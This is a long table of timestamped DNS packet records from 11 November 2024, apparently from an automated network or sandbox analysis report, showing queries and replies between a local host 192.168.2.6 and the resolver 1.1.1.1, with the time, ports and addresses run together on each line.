                                                                                                                                                                                                          Nov 11, 2024 18:13:41.070216894 CET53509351.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.071923018 CET53636221.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.080209970 CET53594051.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.084691048 CET5795353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.090111017 CET6526753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.091223955 CET5899653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.091407061 CET5342853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.093483925 CET53608011.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.095043898 CET53579531.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.097516060 CET53652671.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.117126942 CET4967053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.117333889 CET6011153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.121280909 CET5365753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.121459007 CET5715353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.121633053 CET6114953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.121916056 CET6275253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.122118950 CET5383253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.122200012 CET53534281.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.122638941 CET6032153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.122818947 CET5156053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.122992992 CET6357353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.123019934 CET53589961.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.123990059 CET5402753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.124181986 CET6182053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.124552011 CET6422353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.126095057 CET6089453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.128026009 CET53601111.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.129070044 CET53496701.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.130829096 CET53538321.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.131333113 CET5857053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.132174015 CET6174053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.132440090 CET53536571.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.132468939 CET53571531.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.132669926 CET53611491.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.132682085 CET53603211.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.133097887 CET53627521.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.133472919 CET53515601.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.133739948 CET53618201.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.134125948 CET53540271.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.134732962 CET6192953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.134900093 CET5632953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.135834932 CET6221153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.135909081 CET53608941.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.136441946 CET5715753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.136986017 CET4986453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.137166023 CET6129353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.139148951 CET5993553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.139388084 CET5528853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.139605045 CET5674653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.139777899 CET6366153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.139815092 CET5594653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.139976978 CET5782853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.140039921 CET4925153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.140165091 CET5724953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.140239954 CET4961053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.140283108 CET53635731.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.140327930 CET5838253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.140451908 CET6232753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.140536070 CET5158953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.140656948 CET5185753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.140707970 CET5003653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.140867949 CET5886953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.141009092 CET5570553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.141268969 CET5011453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.141370058 CET5097753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.141738892 CET53617401.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.146553040 CET53563291.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.146564007 CET53622111.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.146574020 CET53571571.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.147156000 CET53572491.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.147706985 CET53612931.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.147741079 CET53623271.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.149182081 CET53567461.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.149213076 CET53559461.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.150497913 CET53500361.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.150536060 CET53492511.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.150938988 CET53599351.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.151922941 CET53515891.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.151933908 CET53509771.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.151943922 CET53588691.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.152756929 CET53619291.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.153050900 CET53583821.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.154278040 CET6056653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.154607058 CET53557051.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.155848026 CET53642231.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.163693905 CET53585701.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.168445110 CET53498641.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.169924974 CET53552881.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.170912981 CET53636611.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.171245098 CET53578281.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.171926022 CET53518571.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.172470093 CET53496101.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.173362970 CET53501141.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.185007095 CET53605661.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:42.245146990 CET5910653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:42.246428013 CET6433353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:42.251730919 CET6244453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:42.256362915 CET53643331.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:42.260353088 CET5526453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:42.260941029 CET6112353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:42.276710987 CET53591061.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:42.280946016 CET6511353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:42.282429934 CET53624441.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:42.283380032 CET6247753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:42.291933060 CET53552641.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:42.292453051 CET53611231.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:42.295027018 CET5167653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:42.295514107 CET5695453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:42.298526049 CET53651131.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:42.302598000 CET5251953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:42.306288958 CET5877253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:42.307867050 CET6331753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:42.313113928 CET53525191.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:42.313615084 CET53587721.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:42.314977884 CET53624771.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:42.317220926 CET53633171.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:42.326457024 CET53516761.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:42.327109098 CET53569541.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:42.412239075 CET5091953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:42.423680067 CET53509191.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:42.428751945 CET5874353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:42.430495977 CET6522253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:42.430655956 CET6483953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:42.430828094 CET6385253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:42.430953979 CET5746853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:42.431108952 CET5728853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:42.431238890 CET5391753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:42.431387901 CET6495753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:42.431524038 CET6114653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:42.438385963 CET53587431.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:42.440241098 CET53539171.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:42.440279961 CET53649571.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:42.440660000 CET53648391.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:42.441111088 CET53638521.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:42.441454887 CET53574681.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:42.441817999 CET53611461.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:42.445746899 CET6128153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:42.455748081 CET53612811.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:42.461927891 CET53652221.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:42.462181091 CET6115053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:42.462321043 CET53572881.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:42.482604027 CET5529553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:42.492772102 CET53611501.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:42.493103981 CET53552951.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:42.730587006 CET5232053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:42.730954885 CET5676053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:42.731118917 CET5341953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:42.731280088 CET5447153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:42.731415987 CET6011553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:42.731558084 CET6095153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:42.731693029 CET6181453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:42.740917921 CET53523201.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:42.741460085 CET53567601.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:42.742188931 CET53609511.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:42.742446899 CET53601151.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:42.743839979 CET53544711.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:42.762056112 CET53534191.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:42.763492107 CET53618141.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.079340935 CET6045253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.085671902 CET5604153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.086635113 CET6027253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.087475061 CET6270053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.088430882 CET5622253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.089121103 CET53604521.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.092227936 CET5795453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.093341112 CET5236653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.094630003 CET5733953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.096586943 CET53560411.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.099148035 CET53627001.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.100056887 CET53562221.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.103559971 CET53579541.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.103774071 CET53573391.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.118097067 CET53602721.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.125561953 CET53523661.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.147389889 CET5453253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.147696018 CET6140753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.147874117 CET5198453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.148047924 CET5902353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.148199081 CET6510553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.149152994 CET5459053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.149405003 CET5904753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.149841070 CET5648353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.150495052 CET5679053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.150995016 CET5818353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.151361942 CET5850553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.152232885 CET6111853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.152499914 CET5486853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.152717113 CET6239353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.154649019 CET5489253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.154746056 CET53614071.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.155123949 CET5661153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.156533003 CET6225453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.156696081 CET5499053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.156944036 CET53519841.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.158485889 CET53590231.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.158598900 CET53651051.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.159941912 CET53590471.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.160108089 CET53567901.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.160782099 CET53581831.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.160849094 CET53545901.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.162890911 CET53548681.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.162914991 CET53585051.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.162926912 CET53611181.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.164588928 CET53623931.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.165213108 CET53548921.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.168684959 CET53549901.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.173054934 CET53622541.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.180521965 CET53545321.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.180531979 CET53564831.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.187844992 CET53566111.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.189922094 CET6080353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.190146923 CET5118653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.190339088 CET5307153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.190656900 CET6492453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.200258970 CET53511861.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.200305939 CET53649241.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.200315952 CET53530711.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.201565027 CET53608031.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.204962015 CET6221853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.205225945 CET5463853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.214140892 CET53546381.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.236135006 CET53622181.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.252922058 CET5627753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.263535976 CET53562771.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.754741907 CET5741353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.756254911 CET5979953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.759484053 CET5156353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.764704943 CET53574131.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.766196012 CET53597991.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.766668081 CET5358053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.769372940 CET53515631.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.793488979 CET5560253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.796132088 CET5489453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.797626019 CET53535801.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.806602955 CET53548941.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.808659077 CET5547653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.809365988 CET6276453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.820797920 CET53627641.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.824604034 CET53556021.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.835850000 CET5051353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.836468935 CET5098453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.839016914 CET53554761.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.841629028 CET5134653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.846059084 CET53505131.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.848967075 CET53509841.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.854108095 CET53513461.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.863404989 CET5992453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.871083021 CET53599241.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.900897026 CET5919353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.902214050 CET5026953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.902412891 CET6411953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.903104067 CET5339353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.903414965 CET5142953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.911514044 CET53591931.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.912945032 CET53502691.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.913697004 CET53641191.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.913718939 CET53533931.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.913913965 CET53514291.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.925777912 CET5403053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.927095890 CET5309153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.927439928 CET6342553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.927759886 CET5307453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.928107977 CET6290653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.928581953 CET5975653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.929074049 CET5227553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.929349899 CET5950853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.929680109 CET6523753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.929821014 CET5962253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.930140018 CET6057753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.930180073 CET5088053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.930428982 CET5340253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.931241035 CET6433353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.931396008 CET6093853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.931651115 CET5642453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.931752920 CET5623653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.932243109 CET5303153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.933358908 CET5300453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.934614897 CET5762453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.936808109 CET53540301.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.937037945 CET5344053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.937397003 CET53530911.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.937731981 CET53508801.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.939038992 CET53522751.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.939377069 CET5499653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.939704895 CET53652371.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.940460920 CET53596221.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.940471888 CET53530041.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.940821886 CET53564241.1.1.1192.168.2.6
